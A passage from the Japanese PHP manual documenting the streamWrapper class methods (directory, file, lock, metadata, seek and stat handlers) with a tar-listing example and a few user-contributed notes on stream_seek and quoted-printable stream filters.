        $header      = fread($this->fp, 512);
        $data = unpack("a100filename/a8mode/a8uid/a8gid/a12size/a12mtime/a8checksum/a1filetype/a100link/a100linkedfile", $header);

        // Trim the filename and filesize
        $filename    = trim($data["filename"]);

        // No filename? We are the end of the archive
        if (!$filename) {
            return false;
        }

        $octal_bytes = trim($data["size"]);
        // Filesize is defined in octects
        $bytes       = octdec($octal_bytes);

        // tar rounds up filesizes up to multiple of 512 bytes (zero filled)
        $rest        = $bytes % 512;
        if ($rest > 0) {
            $bytes      += 512 - $rest;
        }

        // Seek over the file
        fseek($this->fp, $bytes, SEEK_CUR);

        return $filename;
    }

    public function dir_closedir() {
        return fclose($this->fp);
    }

    public function dir_rewinddir() {
        return fseek($this->fp, 0, SEEK_SET);
    }
}

stream_wrapper_register("tar", "streamWrapper");
$handle = opendir("tar://example.tar");
while (false !== ($file = readdir($handle))) {
    var_dump($file);
}

echo "Rewinding..\n";
rewind($handle);
var_dump(readdir($handle));

closedir($handle);
?>

上の例の出力は、 たとえば以下のようになります。

string(13) "construct.xml"
string(16) "dir-closedir.xml"
string(15) "dir-opendir.xml"
string(15) "dir-readdir.xml"
string(17) "dir-rewinddir.xml"
string(9) "mkdir.xml"
string(10) "rename.xml"
string(9) "rmdir.xml"
string(15) "stream-cast.xml"
string(16) "stream-close.xml"
string(14) "stream-eof.xml"
string(16) "stream-flush.xml"
string(15) "stream-lock.xml"
string(15) "stream-open.xml"
string(15) "stream-read.xml"
string(15) "stream-seek.xml"
string(21) "stream-set-option.xml"
string(15) "stream-stat.xml"
string(15) "stream-tell.xml"
string(16) "stream-write.xml"
string(10) "unlink.xml"
string(12) "url-stat.xml"
Rewinding..
string(13) "construct.xml"

参考

  • readdir() - ディレクトリハンドルからエントリを読み込む

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリハンドルを巻き戻す

  • ≪ streamWrapper::dir_readdir
  • streamWrapper::mkdir ≫
  • PHP Manual
  • streamWrapper
  • ディレクトリハンドルを巻き戻す

streamWrapper::dir_rewinddir

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::dir_rewinddir — ディレクトリハンドルを巻き戻す

説明

public streamWrapper::dir_rewinddir ( ) : bool

このメソッドは、rewinddir() に対応してコールされます。

streamWrapper::dir_readdir() が生成する出力をリセットしなければなりません。
つまり、次に streamWrapper::dir_readdir()
をコールすると、streamWrapper::dir_opendir()
が返す場所にある最初のエントリを返すようにしなければいけないということです。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • rewinddir() - ディレクトリハンドルを元に戻す
  • streamWrapper::dir_readdir() - ディレクトリハンドルからエントリを読み込む

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリを作成する

  • ≪ streamWrapper::dir_rewinddir
  • streamWrapper::rename ≫
  • PHP Manual
  • streamWrapper
  • ディレクトリを作成する

streamWrapper::mkdir

(PHP 5, PHP 7, PHP 8)

streamWrapper::mkdir — ディレクトリを作成する

説明

public streamWrapper::mkdir ( string $path , int $mode , int $options ) : bool

このメソッドは、mkdir() に対応してコールされます。

注意:

適切なエラーメッセージを返すためには、 ラッパーがディレクトリの作成に対応していない場合にはこのメソッドを定義しては いけません。

パラメータ

path

作成したいディレクトリ。

mode

mkdir() に渡す値。

options

STREAM_MKDIR_RECURSIVE などの値のビットマスク。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

このメソッドのコールに (未実装などの理由で) 失敗した場合、 E_WARNING を発行します。

注意

注意:

有効なコンテキストがコール元関数に渡された場合に streamWrapper::$context プロパティが更新されます。

参考

  • mkdir() - ディレクトリを作る
  • streamwrapper::rmdir() - ディレクトリを削除する

User Contributed Notes

There are no user contributed notes for this page.


ファイルあるいはディレクトリの名前を変える

  • ≪ streamWrapper::mkdir
  • streamWrapper::rmdir ≫
  • PHP Manual
  • streamWrapper
  • ファイルあるいはディレクトリの名前を変える

streamWrapper::rename

(PHP 5, PHP 7, PHP 8)

streamWrapper::rename — ファイルあるいはディレクトリの名前を変える

説明

public streamWrapper::rename ( string $path_from , string $path_to ) : bool

このメソッドは、rename() に対応してコールされます。

path_from を path_to に変更します。

注意:

適切なエラーメッセージを返すためには、 ラッパーがファイル名の変更に対応していない場合にはこのメソッドを定義しては いけません。

パラメータ

path_from

現在のファイルの URL。

path_to

path_from の変更後の URL。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

このメソッドのコールに (未実装などの理由で) 失敗した場合、 E_WARNING を発行します。

注意

注意:

有効なコンテキストがコール元関数に渡された場合に streamWrapper::$context プロパティが更新されます。

参考

  • rename() - ファイルをリネームする

User Contributed Notes

There are no user contributed notes for this page.


ディレクトリを削除する

  • ≪ streamWrapper::rename
  • streamWrapper::stream_cast ≫
  • PHP Manual
  • streamWrapper
  • ディレクトリを削除する

streamWrapper::rmdir

(PHP 5, PHP 7, PHP 8)

streamWrapper::rmdir — ディレクトリを削除する

説明

public streamWrapper::rmdir ( string $path , int $options ) : bool

このメソッドは、rmdir() に対応してコールされます。

注意:

適切なエラーメッセージを返すためには、 ラッパーがディレクトリの削除に対応していない場合にはこのメソッドを定義しては いけません。

パラメータ

path

削除したいディレクトリの URL。

options

STREAM_MKDIR_RECURSIVE などの値のビットマスク。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

このメソッドのコールに (未実装などの理由で) 失敗した場合、 E_WARNING を発行します。

注意

注意:

有効なコンテキストがコール元関数に渡された場合に streamWrapper::$context プロパティが更新されます。

参考

  • rmdir() - ディレクトリを削除する
  • streamwrapper::mkdir() - ディレクトリを作成する
  • streamwrapper::unlink() - ファイルを削除する

User Contributed Notes

There are no user contributed notes for this page.


元となるリソースを取得する

  • ≪ streamWrapper::rmdir
  • streamWrapper::stream_close ≫
  • PHP Manual
  • streamWrapper
  • 元となるリソースを取得する

streamWrapper::stream_cast

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

streamWrapper::stream_cast — 元となるリソースを取得する

説明

public streamWrapper::stream_cast ( int $cast_as ) : resource

このメソッドは、stream_select() に対応してコールされます。

パラメータ

cast_as

stream_select() が stream_cast() をコールした場合は STREAM_CAST_FOR_SELECT、 stream_cast() がそれ以外の用途でコールされた場合は STREAM_CAST_AS_STREAM。

返り値

ラッパーが使用しているストリームリソース、あるいは false を返します。

参考

  • stream_select() - select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う

User Contributed Notes

There are no user contributed notes for this page.


リソースを閉じる

  • ≪ streamWrapper::stream_cast
  • streamWrapper::stream_eof ≫
  • PHP Manual
  • streamWrapper
  • リソースを閉じる

streamWrapper::stream_close

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_close — リソースを閉じる

説明

public streamWrapper::stream_close ( ) : void

このメソッドは、fclose() に対応してコールされます。

ラッパーがロックしたり割り当てたりしたリソースは、すべて開放しなければなりません。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

参考

  • fclose() - オープンされたファイルポインタをクローズする
  • streamWrapper::dir_closedir() - ディレクトリハンドルを閉じる

User Contributed Notes

There are no user contributed notes for this page.


ファイルポインタが終端にあるかどうかを調べる

  • ≪ streamWrapper::stream_close
  • streamWrapper::stream_flush ≫
  • PHP Manual
  • streamWrapper
  • ファイルポインタが終端にあるかどうかを調べる

streamWrapper::stream_eof

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_eof — ファイルポインタが終端にあるかどうかを調べる

説明

public streamWrapper::stream_eof ( ) : bool

このメソッドは、feof() に対応してコールされます。

パラメータ

この関数にはパラメータはありません。

返り値

読み込み/書き込み位置がストリームの末尾にあってもうそれ以上読み込むデータがない場合に true、 それ以外の場合に false を返します。

注意

警告

ファイル全体を (file_get_contents() などで)
読み込む場合、PHP はループ内で
streamWrapper::stream_read() をコールしてから
streamWrapper::stream_eof() をコールします。
しかし、streamWrapper::stream_read()
が空でない文字列を返す限りは
streamWrapper::stream_eof()
の返り値を無視します。

参考

  • feof() - ファイルポインタがファイル終端に達しているかどうか調べる

User Contributed Notes

There are no user contributed notes for this page.


出力をフラッシュする

  • ≪ streamWrapper::stream_eof
  • streamWrapper::stream_lock ≫
  • PHP Manual
  • streamWrapper
  • 出力をフラッシュする

streamWrapper::stream_flush

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_flush — 出力をフラッシュする

説明

public streamWrapper::stream_flush ( ) : bool

このメソッドがコールされるのは、fflush() への対応をする場合やストリームを閉じる場合です。 フラッシュしていないデータが残っていれば、それを書き出します。

データをストリームにキャッシュした状態でまだストレージに格納していないのなら、 ここで格納しなければなりません。

パラメータ

この関数にはパラメータはありません。

返り値

キャッシュデータが正常に格納できた (あるいは格納するデータがなかった) 場合に true、データを格納できなかった場合に false を返します。

注意

注意:

実装されていない場合の返り値は false です。

参考

  • fflush() - 出力をファイルにフラッシュする

User Contributed Notes

There are no user contributed notes for this page.


ファイルのアドバイザリ・ロック

  • ≪ streamWrapper::stream_flush
  • streamWrapper::stream_metadata ≫
  • PHP Manual
  • streamWrapper
  • ファイルのアドバイザリ・ロック

streamWrapper::stream_lock

(PHP 5, PHP 7, PHP 8)

streamWrapper::stream_lock — ファイルのアドバイザリ・ロック

説明

public streamWrapper::stream_lock ( int $operation ) : bool

このメソッドは、flock() に対応してコールされます。また file_put_contents() (flags が LOCK_EX を含む場合)、 stream_set_blocking() がコールされたときやストリームを閉じるとき (LOCK_UN) にもコールされます。

パラメータ

operation

operation は以下のいずれかとなります。

  • LOCK_SH 共有ロック (読み込み) を確保します。
  • LOCK_EX 排他ロック (書き込み) を確保します。
  • LOCK_UN ロック (共有あるいは排他) を開放します。
  • LOCK_NB flock() によるロック中にブロックしない (Windows ではサポートしていません)。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

このメソッドのコールに失敗した場合 (実装されていないなど) は E_WARNING を発行します。

参考

  • stream_set_blocking() - ストリームのブロックモードを有効にする / 解除する
  • flock() - 汎用のファイルロックを行う

User Contributed Notes

There are no user contributed notes for this page.


ストリームメタデータを変更する

  • ≪ streamWrapper::stream_lock
  • streamWrapper::stream_open ≫
  • PHP Manual
  • streamWrapper
  • ストリームメタデータを変更する

streamWrapper::stream_metadata

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

streamWrapper::stream_metadata — ストリームメタデータを変更する

説明

public streamWrapper::stream_metadata ( string $path , int $option , mixed $value ) : bool

ストリームのメタデータを設定します。ストリーム URL 上で次のいずれかの関数がコールされたときに呼び出されます。

  • touch()
  • chmod()
  • chown()
  • chgrp()
システムによっては、これらの動作の中に利用できないものがある可能性もあります。

パラメータ

path

メタデータを設定するファイルパスあるいは URL。URL の場合は、:// 区切りの形式でなければならないことに注意しましょう。 それ以外の形式の URL には対応していません。

option

次のいずれかです。

  • STREAM_META_TOUCH (touch() に反応してコールされる)
  • STREAM_META_OWNER_NAME (chown() に反応して文字列引数つきでコールされる)
  • STREAM_META_OWNER (chown() に反応してコールされる)
  • STREAM_META_GROUP_NAME (chgrp() に反応してコールされる)
  • STREAM_META_GROUP (chgrp() に反応してコールされる)
  • STREAM_META_ACCESS (chmod() に反応してコールされる)

value

option の値が

  • STREAM_META_TOUCH の場合は、touch() 関数の二つの引数を含む配列。
  • STREAM_META_OWNER_NAME あるいは PHP_STREAM_META_GROUP_NAME の場合は、オーナーの名前を表す文字列。
  • STREAM_META_OWNER あるいは PHP_STREAM_META_GROUP の場合は、オーナーを表す整数値。
  • STREAM_META_ACCESS の場合は、chmod() への引数となる整数値。

返り値

成功した場合に true を、失敗した場合に false を返します。 option が実装されていない場合は false を返さなければなりません。

参考

  • touch() - ファイルの最終アクセス時刻および最終更新日をセットする
  • chmod() - ファイルのモードを変更する
  • chown() - ファイルの所有者を変更する
  • chgrp() - ファイルのグループを変更する

User Contributed Notes

There are no user contributed notes for this page.


ファイルあるいは URL をオープンする

  • ≪ streamWrapper::stream_metadata
  • streamWrapper::stream_read ≫
  • PHP Manual
  • streamWrapper
  • ファイルあるいは URL をオープンする

streamWrapper::stream_open

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_open — ファイルあるいは URL をオープンする

説明

public streamWrapper::stream_open ( string $path , string $mode , int $options , string &$opened_path ) : bool

このメソッドは、ラッパーが初期化された (たとえば fopen() や file_get_contents()) 直後にコールされます。

パラメータ

path

元の関数に渡す URL を指定します。

注意:

parse_url() でこの URL が壊れることがあります。 :// で区切った URL のみをサポートしていることに注意しましょう。 : や :/ も技術的な面では妥当な URL ですが、サポートしていません。

mode

ファイルをオープンする際のモード。詳細は fopen() を参照ください。

注意:

指定した path に対して mode が有効かどうかの確認を忘れないようにしましょう。

options

ストリーム API が設定する追加のフラグ。次の値を OR で連結して指定します。

フラグ | 説明
STREAM_USE_PATH | path が相対パスの場合は、 include_path を用いてリソースを探します。
STREAM_REPORT_ERRORS | このフラグが設定されている場合、 ストリームのオープン時のエラーを trigger_error() で報告しなければなりません。フラグが設定されていない場合は、 エラーを一切報告してはいけません。

opened_path

path のオープンに成功し、 STREAM_USE_PATH が options に設定されていた場合、 opened_path には実際にオープンしたファイル/リソース のフルパスを設定しなければなりません。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

このメソッドのコールに (未実装などの理由で) 失敗した場合、 E_WARNING を発行します。

注意

注意:

有効なコンテキストがコール元関数に渡された場合に streamWrapper::$context プロパティが更新されます。

参考

  • fopen() - ファイルまたは URL をオープンする
  • parse_url() - URL を解釈し、その構成要素を返す

User Contributed Notes

There are no user contributed notes for this page.


ストリームから読み込む

  • ≪ streamWrapper::stream_open
  • streamWrapper::stream_seek ≫
  • PHP Manual
  • streamWrapper
  • ストリームから読み込む

streamWrapper::stream_read

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_read — ストリームから読み込む

説明

public streamWrapper::stream_read ( int $count ) : string

このメソッドは、fread() および fgets() に対応してコールされます。

注意:

ストリームの読み込み/書き込み位置 (読み込みに成功したバイト数ぶん) の更新を忘れないようにしましょう。

パラメータ

count

現在位置から何バイトぶんのデータを返すか。

返り値

count バイト未満のデータしか存在しない場合は、 返せる限りのデータを返します。もうデータがない場合は、 false あるいは空文字列を返します。

エラー / 例外

このメソッドのコールに (未実装などの理由で) 失敗した場合、 E_WARNING を発行します。

注意:

返り値が count より長い場合は E_WARNING エラーが発生し、余分なデータは失われます。

注意

注意:

streamWrapper::stream_eof() は、 streamWrapper::stream_read() がコールされた後に直接コールされ、 EOF に達したかどうかを調べます。実装されていない場合は EOF だとみなされます。

警告

ファイル全体を (file_get_contents() などで)
読み込む場合、PHP はループ内で
streamWrapper::stream_read() をコールしてから
streamWrapper::stream_eof() をコールします。
しかし、streamWrapper::stream_read()
が空でない文字列を返す限りは
streamWrapper::stream_eof()
の返り値を無視します。

参考

  • fread() - バイナリセーフなファイルの読み込み
  • fgets() - ファイルポインタから 1 行取得する

User Contributed Notes

There are no user contributed notes for this page.


ストリーム内の特定の場所に移動する

  • ≪ streamWrapper::stream_read
  • streamWrapper::stream_set_option ≫
  • PHP Manual
  • streamWrapper
  • ストリーム内の特定の場所に移動する

streamWrapper::stream_seek

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_seek — ストリーム内の特定の場所に移動する

説明

public streamWrapper::stream_seek ( int $offset , int $whence = SEEK_SET ) : bool

このメソッドは、fseek() に対応してコールされます。

ストリームの読み込み/書き込み位置を、 offset と whence に応じて更新しなければなりません。

パラメータ

offset

移動するストリームオフセット。

whence

使用可能な値

  • SEEK_SET - offset バイト目の位置に移動する。
  • SEEK_CUR - 現在位置から offset バイトぶん進める。
  • SEEK_END - ファイルの終端から offset バイトぶん進める。

注意: 現在の実装は、 whence の値を SEEK_CUR に設定することはありません。 そのようなシークは、 内部的に SEEK_SET と同じ動きに変換されます。

返り値

位置を更新した場合に true、それ以外の場合に false を返します。

注意

注意:

実装されていないの返り値は false とみなされます。

注意:

成功した場合、
streamWrapper::stream_seek() をコールした直後に
streamWrapper::stream_tell() がコールされます。
streamWrapper::stream_tell() が失敗すると、
呼び出し元関数への返り値は false に設定されます。

注意:

ストリーム上でシーク操作をしたときに、必ずこの関数がコールされるとは限りません。 PHP のストリームはバッファ付きの読み込みがデフォルトで有効になっている (stream_set_read_buffer() も参照ください) ので、シーク操作が単なるバッファポインタの移動だけで済む場合があります。

参考

  • fseek() - ファイルポインタを移動する

User Contributed Notes

fb at tigermedia dot dk 27-May-2014 08:55
Please notice that the return value of this function is a boolean but the return value of fseek is 0 for ok and -1 for failure.

Please use this implementation when working with files:

function stream_seek($offset, $whence) {
        if(0 === fseek($this->_handler, $offset, $whence)){
            return true;
        }
        return false;
}


ストリームのオプションを変更する

  • ≪ streamWrapper::stream_seek
  • streamWrapper::stream_stat ≫
  • PHP Manual
  • streamWrapper
  • ストリームのオプションを変更する

streamWrapper::stream_set_option

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

streamWrapper::stream_set_option — ストリームのオプションを変更する

説明

public streamWrapper::stream_set_option ( int $option , int $arg1 , int $arg2 ) : bool

このメソッドは、ストリームのオプションを設定する際にコールされます。

パラメータ

option

以下のいずれか。

  • STREAM_OPTION_BLOCKING (このメソッドは、stream_set_blocking() に対応してコールされます)
  • STREAM_OPTION_READ_TIMEOUT (このメソッドは、stream_set_timeout() に対応してコールされます)
  • STREAM_OPTION_WRITE_BUFFER (このメソッドは、stream_set_write_buffer() に対応してコールされます)

arg1

option の値に応じて、以下の内容となります。

  • STREAM_OPTION_BLOCKING: 要求されたブロックモード (1 はブロックモード、0 は非ブロックモード)。
  • STREAM_OPTION_READ_TIMEOUT: タイムアウト秒数。
  • STREAM_OPTION_WRITE_BUFFER: バッファモード (STREAM_BUFFER_NONE あるいは STREAM_BUFFER_FULL)。

arg2

option の値に応じて、以下の内容となります。

  • STREAM_OPTION_BLOCKING: このオプションは設定されません。
  • STREAM_OPTION_READ_TIMEOUT: タイムアウトマイクロ秒数。
  • STREAM_OPTION_WRITE_BUFFER: 要求されたバッファサイズ。

返り値

成功した場合に true を、失敗した場合に false を返します。 option が実装されていない場合は false を返さなければなりません。

参考

  • stream_set_blocking() - ストリームのブロックモードを有効にする / 解除する
  • stream_set_timeout() - ストリームにタイムアウトを設定する
  • stream_set_write_buffer() - 指定されたストリームのファイル書き込みバッファリングを有効にする

User Contributed Notes

There are no user contributed notes for this page.


ファイルリソースについての情報を取得する

  • ≪ streamWrapper::stream_set_option
  • streamWrapper::stream_tell ≫
  • PHP Manual
  • streamWrapper
  • ファイルリソースについての情報を取得する

streamWrapper::stream_stat

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_stat — ファイルリソースについての情報を取得する

説明

public streamWrapper::stream_stat ( ) : array|false

このメソッドは、fstat() に対応してコールされます。

パラメータ

この関数にはパラメータはありません。

返り値

stat() を参照ください。

エラー / 例外

このメソッドのコールに (未実装などの理由で) 失敗した場合、 E_WARNING を発行します。

参考

  • stat() - ファイルに関する情報を取得する
  • streamwrapper::url_stat() - ファイルについての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


ストリームの現在位置を取得する

  • ≪ streamWrapper::stream_stat
  • streamWrapper::stream_truncate ≫
  • PHP Manual
  • streamWrapper
  • ストリームの現在位置を取得する

streamWrapper::stream_tell

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_tell — ストリームの現在位置を取得する

説明

public streamWrapper::stream_tell ( ) : int

このメソッドは、fseek() に対応してコールされ、現在の位置を決定します。

パラメータ

この関数にはパラメータはありません。

返り値

ストリームの現在位置を返します。

参考

  • streamWrapper::stream_tell()

User Contributed Notes

There are no user contributed notes for this page.


ストリームを丸める

  • ≪ streamWrapper::stream_tell
  • streamWrapper::stream_write ≫
  • PHP Manual
  • streamWrapper
  • ストリームを丸める

streamWrapper::stream_truncate

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

streamWrapper::stream_truncate — ストリームを丸める

説明

public streamWrapper::stream_truncate ( int $new_size ) : bool

ftruncate() などによる丸めの際にコールされます。

パラメータ

new_size

新しいサイズ。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ftruncate() - ファイルを指定した長さに丸める

User Contributed Notes

There are no user contributed notes for this page.


ストリームに書き込む

  • ≪ streamWrapper::stream_truncate
  • streamWrapper::unlink ≫
  • PHP Manual
  • streamWrapper
  • ストリームに書き込む

streamWrapper::stream_write

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::stream_write — ストリームに書き込む

説明

public streamWrapper::stream_write ( string $data ) : int

このメソッドは、fwrite() に対応してコールされます。

注意:

正常にストリームに書き込めたバイト数ぶんだけ、 ストリームの現在位置を更新することを忘れないようにしましょう。

パラメータ

data

元となるシステムに書き込まれるデータ。

注意:

元となるシステム上にすべてを書き込むだけの余地がない場合は、 可能な限りのデータを格納します。

返り値

正常に格納できたバイト数、あるいは何も格納できなかった場合は 0 を返します。

エラー / 例外

このメソッドのコールに (未実装などの理由で) 失敗した場合、 E_WARNING を発行します。

注意:

返り値が data の長さより大きい場合は、 E_WARNING が発行されて返り値がその長さまで切り詰められます。

参考

  • fwrite() - バイナリセーフなファイル書き込み処理

User Contributed Notes

There are no user contributed notes for this page.


ファイルを削除する

  • ≪ streamWrapper::stream_write
  • streamWrapper::url_stat ≫
  • PHP Manual
  • streamWrapper
  • ファイルを削除する

streamWrapper::unlink

(PHP 5, PHP 7, PHP 8)

streamWrapper::unlink — ファイルを削除する

説明

public streamWrapper::unlink ( string $path ) : bool

このメソッドは、unlink() に対応してコールされます。

注意:

適切なエラーメッセージを返すためには、 ラッパーがファイルの削除に対応していない場合にはこのメソッドを定義しては いけません。

パラメータ

path

削除したいファイルの URL。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

このメソッドのコールに (未実装などの理由で) 失敗した場合、 E_WARNING を発行します。

注意

注意:

有効なコンテキストがコール元関数に渡された場合に streamWrapper::$context プロパティが更新されます。

参考

  • unlink() - ファイルを削除する
  • streamWrapper::rmdir() - ディレクトリを削除する

User Contributed Notes

There are no user contributed notes for this page.


ファイルについての情報を取得する

  • ≪ streamWrapper::unlink
  • ストリーム 関数 ≫
  • PHP Manual
  • streamWrapper
  • ファイルについての情報を取得する

streamWrapper::url_stat

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

streamWrapper::url_stat — ファイルについての情報を取得する

説明

public streamWrapper::url_stat ( string $path , int $flags ) : array

このメソッドは、すべての stat() 関連の関数に対応してコールされます。

  • copy()
  • fileperms()
  • fileinode()
  • filesize()
  • fileowner()
  • filegroup()
  • fileatime()
  • filemtime()
  • filectime()
  • filetype()
  • is_writable()
  • is_readable()
  • is_executable()
  • is_file()
  • is_dir()
  • is_link()
  • file_exists()
  • lstat()
  • stat()
  • SplFileInfo::getPerms()
  • SplFileInfo::getInode()
  • SplFileInfo::getSize()
  • SplFileInfo::getOwner()
  • SplFileInfo::getGroup()
  • SplFileInfo::getATime()
  • SplFileInfo::getMTime()
  • SplFileInfo::getCTime()
  • SplFileInfo::getType()
  • SplFileInfo::isWritable()
  • SplFileInfo::isReadable()
  • SplFileInfo::isExecutable()
  • SplFileInfo::isFile()
  • SplFileInfo::isDir()
  • SplFileInfo::isLink()
  • RecursiveDirectoryIterator::hasChildren()

パラメータ

path

情報を取得したいファイルの URL。 URL の区切り文字は :// でなければならないことに注意しましょう。 それ以外の形式の URL はサポートしていません。

flags

ストリーム API が設定する追加のフラグ。以下の値の OR で組み合わせて使用します。

Flag | Description
STREAM_URL_STAT_LINK | 他のリソースへのリンクを行うことができるリソース (たとえば HTTP Location: による転送やファイルシステムのシンボリックリンク)。 このフラグを指定すると、リンク先のリソースの情報ではなくリンクそのものの情報のみを返します。 このフラグは、lstat()、 is_link() あるいは filetype() に対応して設定されます。
STREAM_URL_STAT_QUIET | このフラグが設定されると、ラッパーが一切エラーを発生しなくなります。 フラグが設定されていない場合、 パス情報の取得中に発生したエラーは trigger_error() を用いて通知します。

返り値

stat() が返すのと同じ要素を返さなければなりません。 未知の値、あるいは取得できない値については適切な値 (通常は 0) を設定します。 stat() 関数で説明されている mode には特別な注意を払ってください。

エラー / 例外

このメソッドのコールに (未実装などの理由で) 失敗した場合、 E_WARNING を発行します。

注意

注意:

有効なコンテキストがコール元関数に渡された場合に streamWrapper::$context プロパティが更新されます。

参考

  • stat() - ファイルに関する情報を取得する
  • streamwrapper::stream_stat() - ファイルリソースについての情報を取得する

User Contributed Notes

There are no user contributed notes for this page.


ストリーム 関数

目次

  • stream_bucket_append — bucket を brigade に追加する
  • stream_bucket_make_writeable — 操作する brigade から bucket オブジェクトを返す
  • stream_bucket_new — 現在のストリームで使用する新しい bucket を作成する
  • stream_bucket_prepend — bucket を brigade の先頭に追加する
  • stream_context_create — ストリームコンテキストを作成する
  • stream_context_get_default — デフォルトのストリームコンテキストを取得する
  • stream_context_get_options — ストリーム / ラッパー / コンテキストに設定されているオプションを取得する
  • stream_context_get_params — コンテキストのパラメータを取得する
  • stream_context_set_default — デフォルトのストリームコンテキストを設定する
  • stream_context_set_option — ストリーム / ラッパー / コンテキストのオプションを設定する
  • stream_context_set_params — ストリーム / ラッパー / コンテキストのパラメータを設定する
  • stream_copy_to_stream — データをあるストリームから別のストリームにコピーする
  • stream_filter_append — ストリームにフィルタを付加する
  • stream_filter_prepend — フィルタをストリームに付加する
  • stream_filter_register — ユーザー定義のストリームフィルタを登録する
  • stream_filter_remove — ストリームからフィルタを取り除く
  • stream_get_contents — 残りのストリームを文字列に読み込む
  • stream_get_filters — 登録されているフィルタのリストを取得する
  • stream_get_line — 指定されたデリミタの位置までのデータを一行分としてストリームから読み込む
  • stream_get_meta_data — ヘッダーあるいはメタデータをストリームまたはファイルポインタから取得する
  • stream_get_transports — 登録されたソケットのトランスポートの一覧を取得する
  • stream_get_wrappers — 登録されているストリームのラッパーのリストを取得する
  • stream_is_local — ローカルストリームかどうかを調べる
  • stream_isatty — Check if a stream is a TTY
  • stream_notification_callback — notification コンテキストパラメータ用のコールバック関数
  • stream_register_wrapper — stream_wrapper_register のエイリアス
  • stream_resolve_include_path — インクルードパスに対してファイル名を解決する
  • stream_select — select() システムコールと同等の操作を、 ストリームの配列に対して tv_sec と tv_usec で指定されたタイムアウト時間をもって行う
  • stream_set_blocking — ストリームのブロックモードを有効にする / 解除する
  • stream_set_chunk_size — ストリームのチャンクサイズを設定する
  • stream_set_read_buffer — 指定したストリームのファイル読み込みバッファリングを有効にする
  • stream_set_timeout — ストリームにタイムアウトを設定する
  • stream_set_write_buffer — 指定されたストリームのファイル書き込みバッファリングを有効にする
  • stream_socket_accept — stream_socket_server で作られたソケットの接続を受け入れる
  • stream_socket_client — インターネットドメインまたは Unix ドメインのソケット接続を開く
  • stream_socket_enable_crypto — 接続済みのソケットについて暗号化の on/off を切り替える
  • stream_socket_get_name — ローカルまたはリモートのソケットの名前を取得する
  • stream_socket_pair — 接続された、区別できないソケットストリームの組を作成する
  • stream_socket_recvfrom — 接続されているかどうかにかかわらず、ソケットからのデータを受信する
  • stream_socket_sendto — 接続されているかどうかにかかわらず、ソケットにデータを送信する
  • stream_socket_server — インターネットドメインまたは Unix ドメインのサーバーソケットを作成する
  • stream_socket_shutdown — 全二重接続を終了する
  • stream_supports_lock — ストリームがロックをサポートしているかどうかを調べる
  • stream_wrapper_register — PHP のクラスとして実装された URL ラッパーを登録する
  • stream_wrapper_restore — 事前に登録を解除された組み込みラッパーを復元する
  • stream_wrapper_unregister — URL ラッパーの登録を解除する

User Contributed Notes

marcus at synchromedia dot co dot uk 15-Nov-2007 03:13
I can't find any real documentation on the quoted-printable-encode stream filter, but I've gathered info from several places. It seems there are 4 options that can be passed in the param array as in my other note on this subject:

line-length: integer, simply sets line length before a soft break is inserted
line-break-chars: Which char or chars to consider as a line break - note that "\r\n" will only match CRLF, not CR or LF, so make sure it matches your content.
binary: boolean, hex encodes all control chars, including spaces and line breaks, but leaves alphanumerics untouched
force-encode-first: Forcibly hex-encodes the first char on each line, even if it's alphanumeric. This is useful for avoiding corruption in some incompetent mail servers, like Exchange.
marcus at synchromedia dot co dot uk 30-Oct-2006 10:16
As this article says, there is no quoted_printable_encode function() in PHP: http://www.zend.com/manual/filters.convert.php

However there is a stream filter for quoted printable encoding. Here's an example function that produces output suitable for email and doesn't explicitly use external files (though it might do for strings over 2Mb due to the nature of the temp stream type):

<?php
function quoted_printable_encode($string) {
        $fp = fopen('php://temp/', 'r+');
        $params = array('line-length' => 70, 'line-break-chars' => "\r\n");
        stream_filter_append($fp, 'convert.quoted-printable-encode', STREAM_FILTER_READ, $params);
        fputs($fp, $string);
        rewind($fp);
        return stream_get_contents($fp);
}

echo quoted_printable_encode(str_repeat("hello there ", 50)." a=1\r\n")."\n";
?>

The filter needs to be restricted to STREAM_FILTER_READ because by default it will get filtered both going into and out of the stream, and will thus get encoded twice.

It should be much faster than using a PHP implementation of the same thing, though note that this will only work in PHP 5.1+.


bucket を brigade に追加する

  • ≪ ストリーム 関数
  • stream_bucket_make_writeable ≫
  • PHP Manual
  • ストリーム 関数
  • bucket を brigade に追加する

stream_bucket_append

(PHP 5, PHP 7, PHP 8)

stream_bucket_append — bucket を brigade に追加する

説明

stream_bucket_append ( resource $brigade , object $bucket ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

There are no user contributed notes for this page.


操作する brigade から bucket オブジェクトを返す

  • ≪ stream_bucket_append
  • stream_bucket_new ≫
  • PHP Manual
